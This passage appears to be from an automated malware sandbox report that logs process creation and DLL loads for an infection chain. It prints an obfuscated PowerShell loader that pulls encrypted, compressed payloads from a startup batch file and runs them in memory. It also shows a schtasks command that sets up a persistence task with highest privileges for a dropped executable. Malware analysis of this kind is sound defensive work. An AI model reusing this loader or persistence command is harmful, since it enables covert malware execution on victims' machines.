$Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\AppData\Roaming\startup_str_521.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));Jump to behavior
        Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 fileJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "e45iasd" /tr "C:\Users\user\e45iasd.exe"Jump to behavior
        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: mpr.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: wkscli.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: samcli.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: samcli.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: dsrole.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: wkscli.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: logoncli.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kdscli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: vbscript.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: textshaping.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: textinputframework.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: coreuicomponents.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: coremessaging.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: ntmarta.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: coremessaging.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: vbscript.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: scrobj.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: slc.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
        Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
        Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: mpr.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: wkscli.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: samcli.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\System32\net.exeSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: samcli.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: dsrole.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: wkscli.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: logoncli.dllJump to behavior
        Source: C:\Windows\System32\net1.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sxs.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mpr.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: scrrun.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: linkinfo.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntshrui.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cscapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: textinputframework.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: coreuicomponents.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: coremessaging.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: coremessaging.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: avicap32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvfw32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winmm.dllJump to behavior
        Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
        Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
        Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: atl.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: mscoree.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: kernel.appcore.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: version.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: vcruntime140_clr0400.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: ucrtbase_clr0400.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: ucrtbase_clr0400.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: cryptsp.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: rsaenh.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: cryptbase.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: windows.storage.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: wldp.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: msasn1.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: amsi.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: userenv.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: profapi.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: gpapi.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: msisip.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: wshext.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: appxsip.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: opcservices.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: uxtheme.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: secur32.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: sspicli.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: urlmon.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: iertutil.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: srvcli.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: netutils.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: propsys.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: atl.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: mscoree.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: kernel.appcore.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: uxtheme.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: windows.storage.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: wldp.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: appresolver.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: bcp47langs.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: slc.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: userenv.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: sppc.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: propsys.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: version.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: vcruntime140_clr0400.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: ucrtbase_clr0400.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: cryptsp.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: rsaenh.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: cryptbase.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: msasn1.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: amsi.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: userenv.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: profapi.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: gpapi.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: msisip.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: wshext.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: appxsip.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: opcservices.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: secur32.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: sspicli.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: urlmon.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: iertutil.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: srvcli.dll
        Source: C:\Users\user\e45iasd.exeSection loaded: netutils.dll
